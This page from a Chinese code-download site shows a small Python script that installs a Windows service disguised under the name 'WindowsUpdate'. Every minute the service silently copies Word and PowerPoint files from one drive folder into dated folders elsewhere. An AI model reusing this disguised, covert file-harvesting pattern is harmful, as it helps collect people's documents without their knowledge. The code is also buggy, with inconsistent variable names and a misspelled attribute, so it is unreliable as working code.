⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 downloadu.py

📁 一个python小程序
💻 PY
字号:
# -*- coding: cp936 -*-
#FileName:DownloadU.py
#author:xsl
#version:0.1

import win32serviceutil
import win32service
import win32event

class test1(win32serviceutil.ServiceFramework):
    _svc_name = "test1"
    _svc_display_name_ = "WindowsUpdate"
    def __init__(self,args = None):
        win32serviceutil.ServiceFramework.__init__(self,args)
        self.hWaitStop = win32event.CreateEvent(None,0,0,None)

    def SvcStop(self):
        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
        win32event.SetEvent(self.hWaitStop)

    def SvcDoRun(self):
        import os
        import shutil
        import time
        target_dir = "c:\\123"
        while True:
            time.sleep(60)
            if not os.path.exists(target_dir):
                os.mkdir(target_dir)
            today = target_dir + time.strftime('%Y%m%d') + "\\"
            if not os.path.exists(today):
                os.mkdir(today)

            try :
                for root,dirs,files in os.walk("g:\as"):
                    for one in files:
                        fileType = os.path.splitext(one)[1]
                        if filetype == ".ppt" or type == ".pptx" or type == ".doc" or type == "docx" :
                            if len(root) > 3 and not os.path.exists(today+root[3:]):
                                os.mkdir(today + root[3:])
                            shutil.copy(root+'/'+one,today+root[3:]+'/'+one)
            except:
                print("Except")


test = test1() 
test.SvcDoRun()                
test.SvcStop()
        
            

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -